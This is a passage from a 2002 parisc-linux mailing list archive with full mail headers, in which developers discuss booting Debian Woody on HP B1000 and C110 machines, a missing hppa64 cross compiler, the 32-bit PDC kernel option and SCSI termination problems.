	id 17KfzY-0000vt-00; Wed, 19 Jun 2002 15:59:24 +0200
In-Reply-To: <200206190826.g5J8QYS31181@iut-lannion.fr>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15139

Quoting Bruno Lon <nonolemono@yahoo.fr>:

> I'm currently trying to install the Woody on a B1000 computer (64bits
> architecture). 
> I'm using a CD to boot - that worked fine on a B180L (32bits) - and I'm

which CD?

> telling palo to use the vmlinux64 instead of the simple vmlinux. This
> part
> is done using a screen connected to the B1000 station.

Try first 32bits kernel (till now I am running successfuly a 32bits pa37 on a
b2000) with a serial console.

Then may be you would like to get a more recent kernel in 64bits (see
ftp://ftp.parisc-linux.org/kernels/).

Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-gcc not in gcc dpkg?
Date: Wed, 19 Jun 2002 16:07:03 +0200 (CEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <1024495623.3d109007598b2@webmail.tiscalinet.be>
References: <1024493288.3d1086e89dfd2@webmail.tiscalinet.be> <20020619143627.K9435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621409 9116 80.91.229.3 (22 Nov 2014 01:56:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:49 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 08:07:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 949E6484E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 08:07:16 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Kg6x-0004Xs-00; Wed, 19 Jun 2002 16:07:03 +0200
In-Reply-To: <20020619143627.K9435@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15140

Quoting Matthew Wilcox <willy@debian.org>:

> On Wed, Jun 19, 2002 at 03:28:08PM +0200, joel.soete@freebel.net wrote:
> > To verify my ioctl32 patch for 64bit kernel I am just trying to
> compile last cvs
> > kernel in 64bits on my b2000 (PA8600?). To do so, in make menu config,
> i choose
> > procesor type PA8x00, 64bits kernel && 32bits PDC (because b2000).
> 
> what makes you think that you should use 32-bit PDC on b2000?

May I am wrong (I thought that the PDC of the b2000 was not a 64bits one; I will
check )

> 
> > But when I launch make dep, it failled because it did not find
> hpp64-linux-gcc?
> > I search on http://www.debian.org/distrib/packages but no success?
> 
> get the packages from ftp://ftp.parisc-linux.org/unofficial-debs.

 
Many thanks for all,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Audette" <Mike.Audette@synopsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 10:07:22 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <HMEKIKEAKEFFMJJOEAJNMEKBFIAA.maudette@synopsys.com>
References: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621410 9118 80.91.229.3 (22 Nov 2014 01:56:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 08:07:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boden.synopsys.com (boden.synopsys.com [204.176.20.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD96A484E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 08:07:25 -0600 (MDT)
Original-Received: from maiden.synopsys.com (maiden.synopsys.com [146.225.100.170])
	by boden.synopsys.com (Postfix) with ESMTP id 14019DB85
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 07:07:25 -0700 (PDT)
Original-Received: from boston.synopsys.com (localhost [127.0.0.1])
	by maiden.synopsys.com (8.9.1/8.9.1) with ESMTP id HAA13216
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 07:07:54 -0700 (PDT)
Original-Received: from maudettec800 (dhcp-146-225-129-157.synopsys.com [146.225.129.157])
	by boston.synopsys.com (8.9.1/8.9.1) with SMTP id KAA04675
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 10:07:23 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNKEJKFIAA.maudette@synopsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15141

Everyone,

Thanks for the help.  I searched back in the forum another month and saw a
very similar message with a response top it that said "sounds like SCSI
termination problem".  I think this is actually a driver problem.  Both
disks are on the internal SCSI chain and internally terminated (2 GB Segate
and a Toshiba CDROM).  I did have SCSI terminator s on the external ports
(HP-UX wouldn't boot without them) (Both the Fast-Wide and the Single
Ended).

The problem suddenly went away when I removed these external SCSI
terminators.  This seems to be incorrect behavior (unless the controller
chip has built-in termination)  Anyhow,  After removing the terminators the
system booted fine.

To answer someone else's' question.  The system did not hang per se, it got
stuck in a loop trying to reset the SCSI ports.  This caused the system to
not completely boot.  Has anyone gotten external SCSI working on a C110?

					-Thanks!

						Mike


-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Michael
Audette
Sent: Tuesday, June 18, 2002 4:36 PM
To: parisc-linux@lists.parisc-linux.org
Subject: [parisc-linux] SCSI Boot Problems on HP C110/9000


When the kernel boots it gets hung up trying to probe sda with the
following:

SCSO host 0 abort (pid 0) timed out resetting
SCSI bus is being reset for host 0 channel 9
ncr53c8xx_reset: pid 0 reset_flags=2 serial_number=84
serian_number_at_timeout=84
ncr53c720-0: suspicious SCSI data while resetting the BUS
ncr53c720-0:
dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,ath,msg,c/d,i/o=0X4020029, expecting
0x100

Any way around this.  This drive boots up just fine with the HP-UX10.20 that
is installed on it.

			-Thanks!
			   Mike


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno =?iso-8859-1?Q?L=E9on?= <nonolemono@yahoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Wed, 19 Jun 2002 16:08:32 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <200206191410.g5JEAMS03029@iut-lannion.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621410 9121 80.91.229.3 (22 Nov 2014 01:56:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 08:10:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from iut-lannion.fr (alba.iut-lannion.fr [192.70.33.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AE46485E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 08:10:42 -0600 (MDT)
Original-Received: from pcp91 (PCP91.iutlan.univ-rennes1.fr [129.20.233.91])
          by iut-lannion.fr (8.11.0/jtpda-5.3.1) with SMTP id g5JEAMS03029
          ; Wed, 19 Jun 2002 16:10:22 +0200
X-Sender: nonolemono@pop.mail.yahoo.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 
Original-References: <200206190826.g5J8QYS31181@iut-lannion.fr>
 <200206190826.g5J8QYS31181@iut-lannion.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15142

>>Which CD?
The 0.9.3 iso cd downloaded from the Esiee team Website.

>Try first 32bits kernel (till now I am running successfuly a 32bits pa37 on a
b2000) with a serial console.
I tried both kernels in fact, but none of them seem to work.

>Then may be you would like to get a more recent kernel in 64bits (see
>ftp://ftp.parisc-linux.org/kernels/).
I will change the kernel hopefuly, but I need to install a first one... ;-)

Here is the error I get on the LCD of the B1000 :
FLT CBF4: SYS BD
bad OS HPMC cksm 
FLT CBFC: SYS BD 
OS HPMC br err 
FLT 500B: SYS BD 
bus timeout 

Another guy named "Yasholomew Yashinski" report the same error in february,
but 
I didn't understand how he solved his problem.

I will look into netbooting perhaps.

Thanks for help,
Bruno.







From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64-linux-gcc not in gcc dpkg?
Date: Wed, 19 Jun 2002 15:17:55 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020619151755.L9435@parcelfarce.linux.theplanet.co.uk>
References: <1024493288.3d1086e89dfd2@webmail.tiscalinet.be> <20020619143627.K9435@parcelfarce.linux.theplanet.co.uk> <1024495623.3d109007598b2@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621410 9123 80.91.229.3 (22 Nov 2014 01:56:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:50 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 08:18:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CCEB54863
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 08:17:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17KgHT-0004tn-00; Wed, 19 Jun 2002 15:17:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1024495623.3d109007598b2@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jun 19, 2002 at 04:07:03PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15143

On Wed, Jun 19, 2002 at 04:07:03PM +0200, joel.soete@freebel.net wrote:
> May I am wrong (I thought that the PDC of the b2000 was not a 64bits one; I will
> check )

ah, you relied on memory rather than reading the help text then?

32-bit PDC
CONFIG_PDC_NARROW
  Saying Y here will allow developers with a C180, C200, C240, C360,
  J200, J210, and/or a J2240 to test 64-bit kernels by providing a
  wrapper for the 32-bit PDC calls.  Since the machines which require
  this option do not support over 4G of RAM, this option is targeted
  for developers of these machines wishing to test changes on both
  32-bit and 64-bit configurations.

  If unsure, say N.

b2000 and similar machines have firmware which supports both 32 and 64
bit PDC calls.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 10:38:49 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200206191438.g5JEcnYt018317@hiauly1.hia.nrc.ca>
References: <HMEKIKEAKEFFMJJOEAJNMEKBFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621411 9126 80.91.229.3 (22 Nov 2014 01:56:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike.Audette@synopsys.com (Michael Audette)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 08:38:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA9874853
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 08:38:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5JEcnFN018319;
	Wed, 19 Jun 2002 10:38:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5JEcnYt018317;
	Wed, 19 Jun 2002 10:38:49 -0400 (EDT)
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNMEKBFIAA.maudette@synopsys.com> from "Michael Audette" at Jun 19, 2002 10:07:22 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15144

> Thanks for the help.  I searched back in the forum another month and saw a
> very similar message with a response top it that said "sounds like SCSI
> termination problem".  I think this is actually a driver problem.  Both
> disks are on the internal SCSI chain and internally terminated (2 GB Segate
> and a Toshiba CDROM).  I did have SCSI terminator s on the external ports
> (HP-UX wouldn't boot without them) (Both the Fast-Wide and the Single
> Ended).

There should be a terminator at each end of the SCSI bus.  Typically,
you don't have to worry about the processor end.  Old Seagate drives
have internal termination resistors that need to be removed if the
drive is not at the end of the bus or you are using an external terminator.
The Seagate web site has user guides online for all models.  The Toshiba
CDROM probably has a switch to disable the internal terminator.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Audette" <Mike.Audette@synopsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 11:10:13 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <HMEKIKEAKEFFMJJOEAJNEEKEFIAA.maudette@synopsys.com>
References: <200206191438.g5JEcnYt018317@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621411 9128 80.91.229.3 (22 Nov 2014 01:56:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:51 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	"Michael Audette" <Mike.Audette@synopsys.COM>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 09:10:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boden.synopsys.com (boden.synopsys.com [204.176.20.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1661B4851
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 09:10:20 -0600 (MDT)
Original-Received: from mother.synopsys.com (mother.synopsys.com [146.225.100.171])
	by boden.synopsys.com (Postfix) with ESMTP
	id 8EA66DC9A; Wed, 19 Jun 2002 08:10:19 -0700 (PDT)
Original-Received: from boston.synopsys.com (localhost [127.0.0.1])
	by mother.synopsys.com (8.9.1/8.9.1) with ESMTP id IAA25310;
	Wed, 19 Jun 2002 08:09:36 -0700 (PDT)
Original-Received: from maudettec800 (dhcp-146-225-129-157.synopsys.com [146.225.129.157])
	by boston.synopsys.com (8.9.1/8.9.1) with SMTP id LAA10673;
	Wed, 19 Jun 2002 11:10:17 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <200206191438.g5JEcnYt018317@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15145

There are external SCSI termination blocks on the internal cable.  Both the
segate HD and Toshiba CD-ROM have sockets for the terminator resistors, but
they are removed.  The problem (and messages) occur when I have the External
SCSI terminators plugged in.  This is what I don't understand.  It does not
work with the _external_ terminators plugged in....where HP-UX wouldn't boot
unless the external terminators were plugged in. Odd.  But the system does
boot and run the "woody" beta OK without the external SCSI terminators

			-Mike

-----Original Message-----
From: John David Anglin [mailto:dave@hiauly1.hia.nrc.ca]
Sent: Wednesday, June 19, 2002 10:39 AM
To: Michael Audette
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] SCSI Boot Problems on HP C110/9000


> Thanks for the help.  I searched back in the forum another month and saw a
> very similar message with a response top it that said "sounds like SCSI
> termination problem".  I think this is actually a driver problem.  Both
> disks are on the internal SCSI chain and internally terminated (2 GB
Segate
> and a Toshiba CDROM).  I did have SCSI terminator s on the external ports
> (HP-UX wouldn't boot without them) (Both the Fast-Wide and the Single
> Ended).

There should be a terminator at each end of the SCSI bus.  Typically,
you don't have to worry about the processor end.  Old Seagate drives
have internal termination resistors that need to be removed if the
drive is not at the end of the bus or you are using an external terminator.
The Seagate web site has user guides online for all models.  The Toshiba
CDROM probably has a switch to disable the internal terminator.

Dave
--
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX:
952-6605)




From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI Boot Problems on HP C110/9000
Date: Wed, 19 Jun 2002 11:23:41 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200206191523.g5JFNfar018785@hiauly1.hia.nrc.ca>
References: <HMEKIKEAKEFFMJJOEAJNEEKEFIAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621411 9129 80.91.229.3 (22 Nov 2014 01:56:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:51 +0000 (UTC)
Cc: Mike.Audette@synopsys.com, parisc-linux@lists.parisc-linux.org
To: Mike.Audette@synopsys.com (Michael Audette)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 19 09:23:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A680E4852
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Jun 2002 09:23:48 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g5JFNfFN018786;
	Wed, 19 Jun 2002 11:23:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g5JFNfar018785;
	Wed, 19 Jun 2002 11:23:41 -0400 (EDT)
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNEEKEFIAA.maudette@synopsys.com> from "Michael Audette" at Jun 19, 2002 11:10:13 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15146

> There are external SCSI termination blocks on the internal cable.  Both the
> segate HD and Toshiba CD-ROM have sockets for the terminator resistors, but
> they are removed.  The problem (and messages) occur when I have the External
> SCSI terminators plugged in.  This is what I don't understand.  It does not
> work with the _external_ terminators plugged in....where HP-UX wouldn't boot
> unless the external terminators were plugged in. Odd.  But the system does
> boot and run the "woody" beta OK without the external SCSI terminators

The problem may then be that terminator power isn't being provided to the
bus, or you have a bad cable, or wrong external terminator type (e.g.,
narrow fast differential terminator on SE bus).  You could try internal
termination of last device.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:23:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Only serial console for B1000 (64bits) ?
Date: Wed, 19 Jun 2002 18:04:24 +0200 (CEST)
Lines: 59
Approved: news@gmane.org
